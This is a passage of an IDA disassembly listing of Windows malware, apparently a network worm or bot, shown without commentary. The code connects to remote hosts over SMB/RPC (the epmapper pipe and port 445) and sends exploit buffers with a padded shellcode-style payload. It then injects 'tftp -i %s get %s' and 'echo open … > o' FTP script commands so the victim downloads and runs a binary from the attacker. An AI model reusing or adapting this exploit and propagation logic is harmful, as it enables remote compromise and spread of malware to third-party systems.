0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call ds:dword_421064 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_415D7F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_415D7F add esp, 10h loc_403151: ; CODE XREF: sub_4030C0+AFj push esi lea eax, [ebp+var_354] push esi push eax call ds:dword_43A2B8 test eax, eax jz short loc_403171 push 7D0h call ds:dword_421060 ; Sleep jmp short loc_403151 ; --------------------------------------------------------------------------- loc_403171: ; CODE XREF: sub_4030C0+A2j push 1 pop eax pop edi pop esi leave retn sub_4030C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403178 proc near ; CODE XREF: sub_4033CB+A9p ; sub_4033CB+1E7p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_415D50 push esi push edi push offset aTilesoft_com ; "Tilesoft.com" mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A155 pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_414DEA mov edi, eax add esp, 10h test edi, edi jz loc_4033C7 push ebx mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_4155B0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415550 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_4155B0 add esp, 24h lea esi, [edi+0D7h] loc_4031FD: ; CODE XREF: sub_403178+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40324D mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_4155B0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_415550 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_4155B0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_4031FD ; --------------------------------------------------------------------------- loc_40324D: ; CODE XREF: sub_403178+90j cmp [ebp+arg_C4], 0 jz short loc_403268 cmp [ebp+arg_C0], 3 jz short loc_403271 cmp [ebp+arg_C0], 0 jmp short loc_40326F ; --------------------------------------------------------------------------- loc_403268: ; CODE XREF: sub_403178+DCj cmp [ebp+arg_C0], 3 loc_40326F: ; CODE XREF: sub_403178+EEj jnz short loc_40327A loc_403271: ; CODE XREF: sub_403178+E5j push 4 push offset dword_4255F0 jmp short loc_403281 ; --------------------------------------------------------------------------- loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj push 4 push offset dword_4255EC loc_403281: ; CODE XREF: sub_403178+100j lea eax, [ebp+var_1FE0] push eax call sub_4155B0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_425124 push eax call sub_4155B0 push 10h lea eax, [ebp+var_CA4] push offset dword_425488 push eax call sub_4155B0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_4155B0 lea edi, [esi+370h] push 3Ch push offset off_42549C lea eax, [ebp+edi+var_1004] push eax call sub_4155B0 add edi, 3Ch push 30h push offset dword_4254DC lea eax, [ebp+edi+var_1004] push eax call sub_4155B0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_415DA9 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_415550 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_4155B0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_4033C7: ; CODE XREF: sub_403178+3Ej pop edi pop esi leave retn sub_403178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033CB proc near ; CODE XREF: seg000:00402FA3p ; sub_40776F+1E6p ; DATA XREF: ... var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh arg_5053EC3D = byte ptr 5053EC45h push ebp mov ebp, esp mov eax, 1338h call sub_415D50 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_403539 lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_402FDD pop ecx test eax, eax pop ecx jz loc_403649 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_4154CD add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_421078 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_403450 loc_403441: ; CODE XREF: sub_4033CB+126j lea eax, [ebp+arg_4] push eax call sub_4030C0 pop ecx jmp loc_403649 ; --------------------------------------------------------------------------- loc_403450: ; CODE XREF: sub_4033CB+74j lea eax, [ebp+arg_4] push 2 push eax call sub_412B7E pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_4034E8 mov edi, 186A0h push edi call sub_415DA9 mov esi, eax push edi push ebx push esi call sub_415550 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_4250D8 push [ebp+var_4] call near ptr 3D0000h mov al, [eax+750C027Eh] sbb [ebp+arg_5053EC3D], cl push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call near ptr 3D0000h icebp test eax, eax jnz short loc_4034F6 push esi call sub_415E1D push [ebp+var_8] call sub_415E1D pop ecx pop ecx loc_4034E8: ; CODE XREF: sub_4033CB+B9j push [ebp+var_4] call ds:dword_42106C ; CloseHandle jmp loc_403441 ; --------------------------------------------------------------------------- loc_4034F6: ; CODE XREF: sub_4033CB+10Bj lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call ds:dword_421068 ; ReadFile push [ebp+var_8] mov edi, eax call sub_415E1D push esi call sub_415E1D pop ecx pop ecx push [ebp+var_4] call ds:dword_42106C ; CloseHandle lea eax, [ebp+arg_4] push eax call sub_4030C0 cmp edi, 1 pop ecx jnz loc_40365A jmp loc_403649 ; --------------------------------------------------------------------------- loc_403539: ; CODE XREF: sub_4033CB+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_412B7E mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403649 xor ebx, ebx push ebx push 1 push 2 call ds:dword_43A3F8 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403649 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_415550 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call ds:dword_43A378 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403178 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_4035CB push [ebp+var_4] jmp short loc_403643 ; --------------------------------------------------------------------------- loc_4035CB: ; CODE XREF: sub_4033CB+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jnz short loc_4035E3 loc_4035E0: ; CODE XREF: sub_4033CB+22Aj push esi jmp short loc_40363C ; --------------------------------------------------------------------------- loc_4035E3: ; CODE XREF: sub_4033CB+213j push ebx push 48h push offset dword_4250D8 push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_4035E0 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call ds:dword_43A390 ; recv push ebx push [ebp+var_C] push [ebp+var_8] push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403624 push [ebp+var_8] jmp short loc_40363C ; --------------------------------------------------------------------------- loc_403624: ; CODE XREF: sub_4033CB+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call ds:dword_43A390 ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_40364D loc_40363C: ; CODE XREF: sub_4033CB+216j ; sub_4033CB+257j call sub_415E1D pop ecx push edi loc_403643: ; CODE XREF: sub_4033CB+1FEj call ds:dword_43A410 ; closesocket loc_403649: ; CODE XREF: sub_4033CB+31j ; sub_4033CB+80j ... xor eax, eax jmp short loc_4036CA ; --------------------------------------------------------------------------- loc_40364D: ; CODE XREF: sub_4033CB+26Fj call sub_415E1D pop ecx push edi call ds:dword_43A410 ; closesocket loc_40365A: ; CODE XREF: sub_4033CB+163j xor esi, esi loc_40365C: ; CODE XREF: sub_4033CB+2B1j lea eax, [ebp+var_338] push eax call sub_40B231 test eax, eax pop ecx jnz short loc_403680 push 1388h call ds:dword_421060 ; Sleep inc esi cmp esi, 6 jl short loc_40365C jmp short loc_4036C7 ; --------------------------------------------------------------------------- loc_403680: ; CODE XREF: sub_4033CB+2A0j cmp [ebp+arg_B4], ebx jnz short loc_4036A5 push ebx lea eax, [ebp+var_338] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D32 add esp, 14h loc_4036A5: ; CODE XREF: sub_4033CB+2BBj lea eax, [ebp+var_338] push eax call sub_40B151 mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] loc_4036C7: ; CODE XREF: sub_4033CB+2B3j push 1 pop eax loc_4036CA: ; CODE XREF: sub_4033CB+280j pop edi pop esi pop ebx leave retn sub_4033CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036CF proc near ; DATA XREF: seg002:00423004o jmp $+5 sub_4036CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4036D4 proc near push 0BB80h push 76Ch call sub_41407E pop ecx mov ds:dword_438FA0, eax pop ecx retn sub_4036D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415550 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_43A3B8 ; inet_addr mov [ebp+var_C], eax mov ax, word ptr ds:dword_438FA0 push eax call ds:dword_43A378 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_43A3F8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403825 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz loc_403825 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43A390 ; recv mov esi, offset aTilesoft_com ; "Tilesoft.com" push esi push esi push [ebp+arg_0] call sub_40A155 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_415A4A add esp, 18h push esi push esi push ds:dword_438FBC push [ebp+arg_0] call sub_40A155 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_415A4A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403825 push 1F4h call ds:dword_421060 ; Sleep push esi push offset dword_425050 lea eax, [ebp+var_1A0] push edi push eax call sub_415A4A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403829 loc_403825: ; CODE XREF: sub_4036EB+51j ; sub_4036EB+67j ... xor al, al jmp short loc_403847 ; --------------------------------------------------------------------------- loc_403829: ; CODE XREF: sub_4036EB+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call ds:dword_43A390 ; recv push ebx call ds:dword_43A410 ; closesocket mov al, 1 loc_403847: ; CODE XREF: sub_4036EB+13Cj pop edi pop esi pop ebx leave retn sub_4036EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40384C proc near ; CODE XREF: sub_403C8B+125p ; sub_403C8B+147p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_415D50 mov eax, ds:dword_4250D0 push ebx mov [ebp+var_10], eax mov eax, ds:dword_4250D4 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_4250C4 push eax call sub_4154CD add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40388B: ; CODE XREF: sub_40384C+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40388B push 60h lea eax, [ebp+var_B4] push offset dword_425B10 push eax call sub_4155B0 lea eax, [ebp+var_3C] push eax call sub_415CD0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_4155B0 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_415CD0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_4155B0 lea eax, [ebp+var_3C] push eax call sub_415CD0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_4155B0 lea eax, [ebp+var_3C] push eax call sub_415CD0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_4155B0 mov ax, word ptr ds:dword_438FA0 add esp, 2Ch push eax call ds:dword_43A378 ; ntohs xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_425810 call sub_4155B0 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403A48 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_415550 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_425F38[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_4155B0 mov esi, offset loc_425760 push esi call sub_415CD0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_4155B0 push 4 lea eax, [ebp+var_11AC] push offset loc_4250BC push eax call sub_4155B0 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_4155B0 add esp, 40h push esi call sub_415CD0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_4155B0 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_403A01: ; CODE XREF: sub_40384C+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_403A01 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_415550 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_415550 add esp, 18h jmp short loc_403A9F ; --------------------------------------------------------------------------- loc_403A48: ; CODE XREF: sub_40384C+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_415550 mov esi, offset loc_425760 push esi call sub_415CD0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_4155B0 lea eax, [ebp+var_10] push eax call sub_415CD0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_4155B0 mov eax, ds:dword_425F38 add esp, 2Ch mov [ebp+var_768], eax loc_403A9F: ; CODE XREF: sub_40384C+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_415550 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_403ADE loc_403AD7: ; CODE XREF: sub_40384C+2B9j ; sub_40384C+2E0j ... xor al, al jmp loc_403C86 ; --------------------------------------------------------------------------- loc_403ADE: ; CODE XREF: sub_40384C+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43A390 ; recv push ebx push 68h push offset dword_425B74 push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43A390 ; recv push ebx push 0A0h push offset dword_425BE0 push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43A390 ; recv cmp [ebp+arg_C0], ebx jz loc_403BF4 push 68h lea eax, [ebp+var_89B4] push offset dword_425D98 push eax call sub_4155B0 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_4155B0 push 70h lea eax, [ebp+var_68DC] push offset dword_425E04 push eax call sub_4155B0 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_4155B0 push 84h lea eax, [ebp+var_5DA8] push offset dword_425E78 push eax call sub_4155B0 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz loc_403AD7 push ebx lea eax, [ebp+var_744] push esi push eax push edi call ds:dword_43A390 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403C4A ; --------------------------------------------------------------------------- loc_403BF4: ; CODE XREF: sub_40384C+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_425C84 push eax call sub_4155B0 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_4155B0 push 90h lea eax, [ebp+var_245C] push offset off_425D04 push eax call sub_4155B0 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403C4A: ; CODE XREF: sub_40384C+3A6j push eax push edi call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz loc_403AD7 push 12Ch call ds:dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4036EB add esp, 0BCh test al, al setnz al loc_403C86: ; CODE XREF: sub_40384C+28Dj pop edi pop esi pop ebx leave retn sub_40384C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C8B proc near ; CODE XREF: seg000:00402FC3p ; seg000:00403E78p ... var_854 = byte ptr -854h var_810 = byte ptr -810h var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_41407E xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax mov [ebp+var_4], edi call sub_415550 add esp, 14h lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call ds:dword_43A3B8 ; inet_addr push [ebp+arg_A0] mov [ebp+var_10], eax call ds:dword_43A378 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax call ds:dword_43A3F8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403D93 lea eax, [ebp+var_14] push 10h push eax push ebx call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz loc_403D93 push edi push 89h push offset dword_4258F8 push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 mov esi, 640h push edi lea eax, [ebp+var_854] push esi push eax push ebx call ds:dword_43A390 ; recv push edi push 0A8h push offset dword_425984 push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call ds:dword_43A390 ; recv push edi push 0DEh push offset dword_425A30 push ebx call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jz short loc_403D93 push edi lea eax, [ebp+var_854] push esi push eax push ebx call ds:dword_43A390 ; recv movsx eax, [ebp+var_810] sub eax, 30h jz short loc_403D9D dec eax jz short loc_403D9A loc_403D93: ; CODE XREF: sub_403C8B+63j ; sub_403C8B+79j ... xor eax, eax jmp loc_403E37 ; --------------------------------------------------------------------------- loc_403D9A: ; CODE XREF: sub_403C8B+106j push edi jmp short loc_403DC1 ; --------------------------------------------------------------------------- loc_403D9D: ; CODE XREF: sub_403C8B+103j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jnz short loc_403DE1 push 1 loc_403DC1: ; CODE XREF: sub_403C8B+110j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40384C add esp, 0C4h test al, al jz short loc_403DE8 loc_403DE1: ; CODE XREF: sub_403C8B+132j mov [ebp+var_4], 1 loc_403DE8: ; CODE XREF: sub_403C8B+154j push ebx call ds:dword_43A410 ; closesocket cmp [ebp+var_4], 0 jz short loc_403E34 push 0 lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_214] push eax call sub_40B151 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch inc ds:dword_427308[eax] lea eax, dword_427308[eax] loc_403E34: ; CODE XREF: sub_403C8B+168j push 1 pop eax loc_403E37: ; CODE XREF: sub_403C8B+10Aj pop edi pop esi pop ebx leave retn sub_403C8B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 1BDh push 2Fh pop ecx mov edi, esp rep movsd call sub_402DDD push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C8B add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_403E8D test eax, eax jz short loc_403E90 loc_403E8D: ; CODE XREF: seg000:00403E87j push 1 pop eax loc_403E90: ; CODE XREF: seg000:00403E8Bj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_403E94 proc near ; CODE XREF: sub_404108+Ep ; sub_404108+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_403E94 endp ; =============== S U B R O U T I N E ======================================= sub_403E9E proc near ; CODE XREF: sub_404108+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_415DA9 mov edi, eax pop ecx test edi, edi jz short loc_403ED0 push ebx push 0 push edi call sub_415550 push ebx push [esp+1Ch+arg_0] push edi call sub_4155B0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403ED0: ; CODE XREF: sub_403E9E+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403E9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ED8 proc near ; CODE XREF: sub_403FD2+18p ; sub_40404C+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_415DA9 mov esi, eax pop ecx test esi, esi jz short loc_403F24 push edi push 0 push esi call sub_415550 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4155B0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4155B0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_403F24: ; CODE XREF: sub_403ED8+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403ED8 endp ; =============== S U B R O U T I N E ======================================= sub_403F2D proc near ; CODE XREF: sub_403FD2+5Ep ; sub_403FD2+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_403F3D push eax call sub_415E1D pop ecx loc_403F3D: ; CODE XREF: sub_403F2D+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_403F2D endp ; =============== S U B R O U T I N E ======================================= sub_403F46 proc near ; CODE XREF: sub_403FD2+20p ; sub_4040AD+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_403F73 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_415DA9 mov edi, eax pop ecx test edi, edi jnz short loc_403F77 loc_403F73: ; CODE XREF: sub_403F46+Dj xor al, al jmp short loc_403FCE ; --------------------------------------------------------------------------- loc_403F77: ; CODE XREF: sub_403F46+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_415550 add esp, 0Ch cmp ebx, 1 jnz short loc_403F9C mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_403FB6 ; --------------------------------------------------------------------------- loc_403F9C: ; CODE XREF: sub_403F46+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_403FB6: ; CODE XREF: sub_403F46+54j push eax call sub_4155B0 add esp, 0Ch push dword ptr [esi] call sub_415E1D add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403FCE: ; CODE XREF: sub_403F46+2Fj pop edi pop esi pop 